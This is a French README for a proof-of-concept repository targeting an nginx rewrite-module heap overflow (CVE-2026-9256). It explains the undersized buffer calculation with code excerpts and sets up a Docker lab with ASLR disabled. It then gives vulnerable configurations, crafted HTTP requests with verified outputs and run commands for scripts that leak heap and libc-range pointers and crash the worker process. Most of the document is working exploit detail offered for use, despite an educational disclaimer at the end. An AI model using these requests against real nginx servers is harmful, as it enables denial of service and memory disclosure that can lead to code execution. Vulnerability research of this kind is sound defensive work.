
Démontre le débordement de tas CVE-2026-9256 dans le module ngx_http_rewrite_module de nginx avec des scripts PoC pour les fuites de tas/libc et le crash du worker.
nginx Plus et nginx Open Source contiennent une vulnérabilité de débordement de tas dans le module ngx_http_rewrite_module. Lorsqu'une directive rewrite utilise une expression régulière avec plusieurs groupes de capture PCRE qui se chevauchent (par ex. ^/((.*))$) et un remplacement qui référence plusieurs captures (par ex. $1&y=$2), le calcul de la taille du tampon de chemin statique sous-estime l'espace nécessaire, ce qui provoque un dépassement de l'écriture réelle par rapport à la taille allouée (Pool Slip).
Un attaquant non authentifié peut déclencher cela via une requête HTTP malveillante, entraînant un débordement de tas dans le processus worker. Lorsque l'ASLR est désactivé ou peut être contourné, l'exécution de code est possible.
Fichier : src/http/ngx_http_script.c:1143-1155
if (code->lengths == NULL) {
e->buf.len = code->size;
if (code->uri) {
if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
// BUG: la surcharge d'échappement est comptée une seule fois pour l'URI entier
e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
NGX_ESCAPE_ARGS);
}
}
for (n = 2; n < r->ncaptures; n += 2) {
e->buf.len += r->captures[n + 1] - r->captures[n]; // taille brute
}
}
Chaque $N est échappé indépendamment lors de la copie (ngx_http_script.c:1397-1401). Les captures imbriquées amènent la même sous-chaîne à être échappée deux fois, doublant ainsi le coût d'échappement, mais l'allocation ne le compte qu'une seule fois.
Formule de débordement (imbrication à 2 niveaux ((.+)), caractères + dans l'URI) :
alloué = code_size + 2*Q + 2*(Q+1)
réel = code_size + 2*(3*Q + 1)
débord. = 2*Q (contrôlable avec précision)
Conditions de déclenchement (toutes les trois requises) :
.
├── env/
│ ├── Dockerfile # Basé sur nginx:1.31.0
│ ├── docker-compose.yml # Configuration du conteneur (SYS_PTRACE)
│ ├── entrypoint.sh # ASLR activé (par défaut)
│ ├── entrypoint_aslr_off.sh # ASLR désactivé (pour libc_leak)
│ └── nginx.conf # Configuration vulnérable
├── heap_leak.py # PoC heap_leak
├── libc_leak.py # PoC libc_leak
├── crash_verify.py # PoC crash_verify
├── LICENSE
└── README.md
cd env/
# Télécharger l'image de base (~200 Mo)
docker pull nginx:1.31.0
# Construire et démarrer
docker compose up --build -d
# Vérifier
curl -s http://127.0.0.1:19321/
# Attendu : ok
# Afficher les logs nginx (infos de crash)
docker compose logs -f
# Arrêter et supprimer
docker compose down
# Redémarrer (après un crash)
docker compose restart
Vérifier l'état actuel :
cat /proc/sys/kernel/randomize_va_space
# 0 = désactivé, 1 = partiel, 2 = total
heap_leak et crash_verify fonctionnent indépendamment de l'ASLR. libc_leak nécessite que l'ASLR soit désactivé sur l'hôte :
sudo sysctl -w kernel.randomize_va_space=0
docker compose restart
Sinon, désactiver l'ASLR uniquement pour le processus nginx (aucun privilège hôte nécessaire) :
copier entrypoint_aslr_off.sh par-dessus entrypoint.sh, puis docker compose up --build -d.
Note : les conteneurs partagent le noyau hôte.
randomize_va_spacedoit être défini sur l'hôte.
Configuration requise :
location /echo/ {
rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
internal;
default_type text/plain;
return 200 "x=$arg_x\ny=$arg_y\n";
}
Mécanisme : Pool Slip fait que ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t)) atterrit dans la zone de débordement. Les champs initialisés du moteur de script (e->ip, e->sp, e->request) fuient dans la chaîne de requête de l'URI réécrit et sont reflétés via return 200 "$arg_y".
Requête :
GET /echo/%25%25%25%25%25A HTTP/1.0
Résultat vérifié (nginx:1.31.0, ASLR activé) :
e->ip = 0x00006544dec82430 (tableau de codes du pool de configuration)
e->sp = 0x00006544dec5ada0 (pile de scripts du pool de requête)
e->request = 0x00006544dec58880 (structure de requête)
Ce qui fuit : Des pointeurs bruts du tas dans l'espace d'adressage du worker nginx.
PoC : heap_leak.py
Configuration requise :
location /leak2/ {
rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
internal;
proxy_pass http://backend; # doit être accessible
add_header X-Leak-Y "$arg_y" always;
}
Mécanisme : proxy_pass déclenche l'initialisation amont. Les structures amont contenant des pointeurs de fonctions de bibliothèque sont allouées dans la zone de débordement. add_header "$arg_y" écrit les octets bruts dans l'en-tête de réponse.
Requête :
GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0
Résultat vérifié (nginx:1.31.0, ASLR désactivé, request_pool_size=7920) :
leaked ptr = 0x00007fbfc3b7c346
Ce qui fuit : Un pointeur brut dans la plage 0x7f... (région de chargement de libc). Pour calculer la base libc, lire /proc/<pid>/maps sur la cible et calculer leaked_ptr - libc_base.
Dépendance ASLR : Cette étape nécessite l'ASLR désactivé. Le pointeur fuit provient de métadonnées de bloc libéré (fd/bk → main_arena). Avec l'ASLR activé, le décalage du bloc libéré varie et les petits débordements ne peuvent pas l'atteindre de manière fiable.
PoC : libc_leak.py
Alternative plus simple : En utilisant le mode
redirect(rewrite ^/r/((.*))$ http://.../?$1$2 redirect;), l'en-têteLocationexpose directement les octets bruts du débordement sans problème d'encodage de caractères. Une seule requête peut fuir des pointeurs de tas (Q=10~450) ou déclencher un crash (Q >= 500), sans nécessiter proxy_pass ou pool_size spécial.
Configuration requise :
location /leak9/ {
rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
internal;
default_type text/plain;
return 200 "i=$arg_i\n";
}
Mécanisme : Une imbrication à 9 niveaux produit un débordement de 16Q (contre 2Q pour 2 niveaux). Avec request_pool_size=7920, Q=123 franchit la limite du bloc du pool, écrasant les métadonnées du bloc malloc adjacent. glibc détecte la corruption et termine le worker. Le maître redémarre automatiquement.
Requête :
GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0
Résultat vérifié (nginx:1.31.0, request_pool_size=7920) :
Q=122 : réponse normale (débordement=1952B)
Q=123 : pas de réponse, nginx error.log :
corrupted size vs. prev_size
worker process XX exited on signal 6 (core dumped)
Reproduit 5/5 fois.
Imbrication vs pool_size : N niveaux produisent un débordement = (N-1)*2*Q. Le pool_size par défaut de 4096 avec 9 niveaux d'imbrication est suffisant pour crasher. Un pool_size plus grand nécessite moins de niveaux pour un Q donné.
PoC : crash_verify.py
# Étape 1 : Fuite de pointeur de tas
python3 heap_leak.py 127.0.0.1 19321
# Étape 2 : Fuite de pointeur dans la plage libc (nécessite ASLR désactivé)
python3 libc_leak.py 127.0.0.1 19321
# Étape 3 : Crash DoS
python3 crash_verify.py 127.0.0.1 19321
Cette preuve de concept est fournie à des fins éducatives et de recherche en sécurité autorisée uniquement. Toute utilisation non autorisée est interdite.
| Condition | Détail |
|---|
Pas de variables nommées, pas de $N en double | Chemin statique (sc.variables==0 && !sc.dup_capture) |
| Groupe de capture imbriqué dans l'expression régulière | ex. ((.+)) fait que $1 et $2 correspondent au même contenu |
+ ou %XX dans l'URI | Déclenche le chemin d'échappement (plus_in_uri ou quoted_uri) |